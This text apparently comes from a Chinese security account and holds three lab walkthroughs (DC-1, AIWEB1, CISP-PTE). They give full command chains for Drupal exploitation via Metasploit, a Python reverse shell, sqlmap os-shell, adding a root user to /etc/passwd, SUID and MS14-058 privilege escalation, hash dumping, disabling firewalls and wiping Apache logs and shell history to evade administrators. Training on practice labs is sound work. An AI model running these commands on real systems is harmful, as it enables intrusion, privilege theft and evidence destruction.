DC-1综合靶场渗透从外网打到内网，权限提升，入侵痕迹清除，干货，建议收藏 DC-1综合靶场渗透从外网打到内网，权限提升，入侵痕迹清除，干货，建议收藏前言由于传播、利用本公众泷羽Sec提供的文章、工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号泷羽Sec团队及作者不为此承担任何责任，一旦造成后果请自行承担！本文主要讲解了渗透测试中的完整渗透测试流程，主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货，靶场为vulnhub的机器大家可以自行下载。环境准备靶机下载地址：https://www.vulnhub.com/entry/dc-1,292/攻击机：kali，自行准备信息收集开启靶机，切换net/桥接模式nmap探测主机存活80/sP探测nmap的基本使用，以及高级用法文章参考：nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式# 或者 nmap -sP 192.168.209.0/24 # -sP这个选项是用来指定一个主机发现方法。靶机端口扫描，开放了22、80、111、34471端口nmap 192.168.209.157 -p- -v访问http服务的80端口，进入到web界面，有一个登录sql注入万能密码，也没有sql语句错误的提示，这里就直接绕过sql注入注册一个用户试试，他还要发送邮件，并没有让我们填写密码需要批准之后才能注册用户由于没有登录，dirb不嫩指定cookie扫描，扫到一个robots.txt和web.config没有什么作用访问也没发现什么有用的内容在这里没用，应该是一个api接口还有一些七七八八的就不看了，基本没啥作用的漏洞探测使用whatweb（kali自带）指纹识别，找到目标cms的版本和其他信息whatweb -v 192.168.209.157msf漏洞利用msf漏洞利用神器，直接搜索Drupal这些模块msfconsole search Drupal使用第一个模块试试，显示这个模块的所有payload，都是反弹和正向连接的，没有我们需要的show payloads我们使用第二个模块试试use unix/webapp/drupal_drupalgeddon2 # 或者 use 1 # 然后 show payloads # 显示该模块下的所有payload发现这些东西，和php有关，而且能反弹到我们meterpreter后渗透模块中设置payload为tcp反弹shellset payload payload/php/meterpreter/reverse_tcp当然也可以使用tcp正向连接set payload payload/php/meterpreter/bind_tcp他们的区别正向连接：在msf中通常是指，bind_tcp，定义--攻击机主动发起连接请求，连接到目标靶机特定的一个端口，目标机器也需要开启一个监听端口，比如tcp监听反向连接：在msf中通常是指，reverse_tcp，定义--更常用，通过设置reverse_tcp攻击载荷可以轻松实现反弹，监听只需要在本机开启监听端口。主要区别就是公网和局域网的不同利用，正向连接通常攻击机用在局域网中不能访问外网靶机，反向连接需要两个机器都需要能互相ping这里就使用反向连接来测试如果出现如下错误多半是防火墙端口没有放行就是配置下的本地监听端口使用iptables放行端口 sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT这个时候重新开始攻击即可run getuid后渗透查看系统信息sysinfo获取shellshell上面终端显示的样子不好看，使用python调用系统终端python -c "import pty;pty.spawn('/bin/bash')"这样子就好看多了找到flag1.txt他说下一步要找一个cms的配置文件，一般配置文件都是settings.xxx，这里我们从当前目录模糊查询一下find . -name 'set*'又给了你一个提示What can you do with these credentials?你能用这些凭证做什么？$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );那当然是连接本地数据库咯mysql -udbuser -pR0ck3t查看所有数据库切换到这个站点的数据库，并查看有什么表use drupaldb show tables;找到有一个users表里面包含用户名/密码信息select * from users;这样子不好看，那么我们就加一个Gselect * from usersG;不知道是什么加密，文心一言说还加了盐，那么我们只能去找这个hash规则的文件了从当前站点目录查找这个文件，并发现有一个password-hash.sh文件find . -name '*hash*'在此之前查看了很多文件，都没什么用，就执行这个文件吧，看到如下提示那么我们就根据它的提示，传一个密码给他，执行一下生成了一个密码为123456的hash值，这不是和我们数据库中的密码很相像？把他复制下来$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq进入mysqlmysql -udbuser -pR0ck3t修改密码update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';登录成功了！这里我们就找到了flag3点进去找到这个，提示我们去passwd文件看看提示我们去passwd，找到flag4cat /etc/passwd切换flag4用户下的目录查看这个文件的权限，尝试追加用户提权，但是只能root读写find / -perm -u=s -type f 2>/dev/null # `1>/dev/null`用于丢弃正常输出，而`2>/dev/null`用于丢弃错误输出。使用find提权find / -exec "/bin/bash" -p ;提权成功，找到了最后一个flag痕迹清除观察一下我们刚刚使用过的操作，登录数据库（数据库日志），web请求（阿帕奇日志），msf漏洞利用（kaliweb请求），命令使用（history）1、中间件日志清除对于web请求（阿帕奇日志），msf漏洞利用（kaliweb请求）这两个我们直接清除指定ip的行即可，日志文件全部被清空，太容易被管理员察觉了，如果只是删除或替换部分关键日志信息，那么就可以完美隐藏攻击痕迹。 find / -name 'access*'查看都有一些什么内容cat /var/log/apache2/access.log筛选自己的主机（192.168.209.1）和攻击机器（192.168.209.151）的请求记录sed -i '/192.168.209.1/d' /var/log/apache2/access.log这条命令会直接在原文件中删除所有包含192.168.209.1的行。-i选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志cat /var/log/apache2/access.log可以看到连同kali（192.168.209.151）的日志一起清除成功了同理正常请求日志清除了，错误请求日志也要删除吧find / -name 'error*'cat /var/log/apache2/error.log一大堆kali攻击日志同理直接使用sed更改 sed -i '/192.168.209.1/d' /var/log/apache2/error.log清除成功！2、密码还原对于渗透测试中，这里有一个小细节，我们把密码改了，要做到无痕，还得把密码改回去是吧登录数据库mysql -udbuser -pR0ck3tupdate users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";3、清除数据库日志没有权限查看日志状态show variables like '%log%';general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。 当general_log设置为ON时，MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。 当general_log设置为OFF时，MySQL不会记录这些SQL语句，从而节省磁盘空间和提高性能。 慢查询日志slow_query_log看图也是关闭的 当 slow_query_log 设置为 ON 时，MySQL 会将执行时间较长的查询记录到慢查询日志文件中，通常这个文件位于数据目录中，文件名可能是 hostname-slow.log。 当 slow_query_log 设置为 OFF 时，MySQL 不会记录慢查询。 找到这两个日志文件路径，看看有没有，很好没有，这一步跳过4、清除命令历史查看自己曾经输入过的命令historyhistory -c # 清除命令历史5、登录日志这里我们使用的是反弹shell，实际上并没有登录，不会增加一条标准的ssh登录日志，这里跳过。6、nmap扫描日志nmap扫描时，如果你指定了输出文件（例如使用-oN选项），确保删除这些文件。清除临时文件，如/tmp，查看是否有nmap相关的临时文件，并将其删除。7、更多我很菜，还有很多东西，这里可能没有讲到，如果还有欠缺，还请留言告知扩展知识隐身登录系统，不会被w、who、last等指令检测到。ssh -T root@192.168.0.1 /bin/bash -i不记录ssh公钥在本地.ssh目录中ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i往期文章推荐：https://mp.weixin.qq.com/mp/homepage?__biz=Mzg2Nzk0NjA4Mg==&hid=2&sn=54cc29945318b7d954c2e04fcd6060cd

AIWEB1综合靶场通关教程【附靶场环境】 前言如果要进网安交流群的，后台菜单栏点击加群即可（建议微信群），靶场获取后台回复【AIWEB1】下载之后设置为nat模式启动即可，不需要登录靶机复现主机发现访问即可信息收集robots.txt文件访问尝试，原来是什么也没有的，404我们去访问这个上级目录，发现有一个id注入测试语法错误，存在sql注入漏洞抓包sqlmap爆表发现表里什么也没有，换思路没有权限dirb扫一下看看，有一个info.php网站绝对路径禁用的函数，没有禁用eval本地文件包含开启，以及php版本（%00截断，低于5.2），但似乎没什么用这里我们有两种方法方式一通过查找secure_file_priv 的值1、DBA权限，这里我们发现可以对文件进行读写sqlmap -u 'http://10.0.0.84/se3reTdir777/#' -data "uid=1&Operation=%E6%8F%90%E4%BA%A4" -p 'uid' --privileges2、secure_file_priv方式二从phpinfo中的网站绝对路径进行拼接尝试有了绝对允许上传文件的角度路径那么我们就能使用sqlmap获取shellsqlmap获取shell使用sqlmap的oshellosshell原理通过sqlmap -v 5 参数可以查看流量包通过分析，得到sqlmap的osshell原理就是，通过into outfile/into dumpfile写文件的方式进行文件写入然后再进行访问这个上传的写入sqlmap会向这个上传的网站目录写入两个文件1、文件上传木马文件2、命令执行文件文件上传成功后，即可执行命令（与蚁剑不兼容）注意：如果你退出了这个osshell，那么这两个文件都会自动删除，导致执行不了命令这是会话维持中，可以执行命令会话断开断开后尝试执行命令上传成功后，没有找到这个flag.txt文件，应该是没有权限读取10=system('find / -name flag*');查看/etc/passwd权限，发现漏洞，竟然可以读写文件，我们追加一个用户新加用户之前创建一个登录密码perl -le 'print crypt("123456","addedsalt")'新加一个用户，分到root组进行提权echo "test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd靶机发现还有nc反弹shell，查看攻击机ip地址靶机nc发现没有-e参数，反弹不了shell看看靶机有没有python很好，有python，我们使用python反弹shell，攻击机开启监听中间我断网了，ip地址变了一下，之后操作都是这个ip我们尝试使用python反弹shellpython -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.7',80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"如果没有成功，就多试几次我们尝试切换用户，提示必须从终端运行这个问题搞我半天，后来发现可以使用python调用本地shell即终端升级echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py su test 123456模糊查找flag的位置cat 即可

CISP-PTE综合靶场解析，msf综合利用MS14-058【附靶场环境】 CISP-PTE综合靶场解析，msf综合利用MS14-058【附靶场环境】前言需要靶场的朋友们，可以在后台私信【pte靶场】，有网安学习群，可以关注后在菜单栏选择学习群加入即可信息收集题目要求：给定一个ip，找到3个KEY。nmap扫描，为了节省时间，这里改了端口，就不使用-p-全端口扫描了，源靶机在20000+端口扫描到这个端口进行访问御剑扫描有爬虫协议访问后台首页看看有没有git泄露，报了个iis报错界面，iis有web.config看看有没有备份文件，嗯，很好打开，看到了账号密码用sqlserver连接不知道为什么应该是系统问题使用pycharm专业版连接，指定好数据库，主机，账号，端口，密码后台回复【激活】即可获取 pycharm专业版 激活到2099的激活工具（仅限windows）有4张表找到管理员密码登录就好，找到了第一个keyweb漏洞利用文件上传，a都上传不了，说明是白名单，换思路这里开始分析这里我们看到这个管理上传文件，有一个aspx文件下载下来看看，这不是一句话木马嘛访查看源码问这个文件传参试试蚁剑连接查看系统信息查看系统配置，改密码，没有权限我们返回web目录，有一个key2key.key这个就是第二个key后渗透我们打开kali，并配置好桥接模式生成后门，并把这个payload记好，便签即可打开msfconsole，使用这个模块multi/handler由于生成的木马文件在kali里面，kali没有蚁剑，这时候我们就将后门传到本机，然后由本机传到靶机上，python3开启http服务本机访问这个kali的IP地址，这时候如果出现页面不可访问，那么大概率是防火墙没有放行8888端口，需要在kaili放行8888端口，命令参考sudo ufw allow 8888/tcp下载下来后，用蚁剑传文件到目标靶机上使用web虚拟shell执行后门反弹shell成功获取系统信息，没有权限提权1、ms14-058成功上线后，使用bg维持会话的同时继续执行其他模块，可以看到bg之后会生成一个session，记住这个session，使用search windows/local/ms14_058搜索模块，use 0指定payload模块为搜索到的第一个结果，使用ms14_058模块的时候，需要设置这个session为你刚刚上线成功的session，否则会导致执行不成功，run这里遇到个问题端口配置不正确该站点存在此漏洞，但是shell会话建立不成功，这个时候就是你的端口配置不对了，必须要是你msfvenom后门使用模块的指定端口，不然都会不成功重新设置端口为msfvenom设置的端口，网上大多数教程都没有详细介绍，只是走个过场，我自己也试过很多坑，才发现可以看到，提权成功了，使用hashdump查看用户hash密码解密hash密码开启3389远程连接run post/windows/manage/enable_rdp我们去网站根目录，还发现有个bak文件，2022-12-12打开，既然是我们sqlserver数据库超级管理员账户和密码利用这个sa账户，关掉防火墙用到 admin/mssql/mssql_exec模块执行成功，如果不关闭防火墙的话可能导致远程连接连接不上打开桌面2、手工得知sa账户密码后，使用sa登录获取系统命令，这时候发现，sa拥有system系统权限关闭防火墙netsh firewall set opmode mode="disable"开启3389远程连接wmic rdtoggle where servername="%computername%" call setallowtsconnections 1开启3389成功，在这里虽然没有用户密码，但是可以新建用户，然后远程登录，这里还有另外一种方法直接在命令行查找key